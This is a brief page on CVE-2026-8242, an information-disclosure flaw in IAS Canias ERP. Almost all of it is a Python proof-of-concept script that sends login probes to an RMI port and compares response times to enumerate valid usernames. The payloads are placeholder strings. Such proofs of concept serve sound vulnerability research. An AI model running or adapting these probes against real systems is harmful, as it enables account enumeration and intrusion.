CVE-2026-8242 IAS Canias ERP信息泄露漏洞

import socket import time # Conceptual PoC for CVE-2026-8242 # Demonstrates observable response discrepancy (Timing Attack) TARGET_IP = "192.168.1.100" TARGET_PORT = 1099 # Common RMI port, adjust based on environment def send_rmi_probe(payload): """Sends a payload to the target and measures response time.""" start_time = time.time() try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((TARGET_IP, TARGET_PORT)) # In a real scenario, the payload must be a valid RMI serialized object # specific to the 'doAction' function of Canias ERP. s.sendall(payload.encode('latin-1')) # Wait for response data = s.recv(4096) s.close() elapsed = time.time() - start_time return elapsed, len(data) except Exception as e: return -1, 0 # Example of checking for discrepancy # Payloads would need to be crafted to target the Login interface logic payload_valid_user = "<RMI_CALL_DOACTION>USER=admin</RMI_CALL_DOACTION>" payload_invalid_user = "<RMI_CALL_DOACTION>USER=invalid_xyz_123</RMI_CALL_DOACTION>" time_valid, size_valid = send_rmi_probe(payload_valid_user) time_invalid, size_invalid = send_rmi_probe(payload_invalid_user) print(f"Valid User Response Time: {time_valid:.5f}s, Size: {size_valid}") print(f"Invalid User Response Time: {time_invalid:.5f}s, Size: {size_invalid}") if time_valid > 0 and time_invalid > 0: diff = abs(time_valid - time_invalid) if diff > 0.1: # Threshold for observable discrepancy print(f"[!] Potential Vulnerability Detected: Time difference is {diff:.5f}s") else: print("[-] No significant timing difference detected.")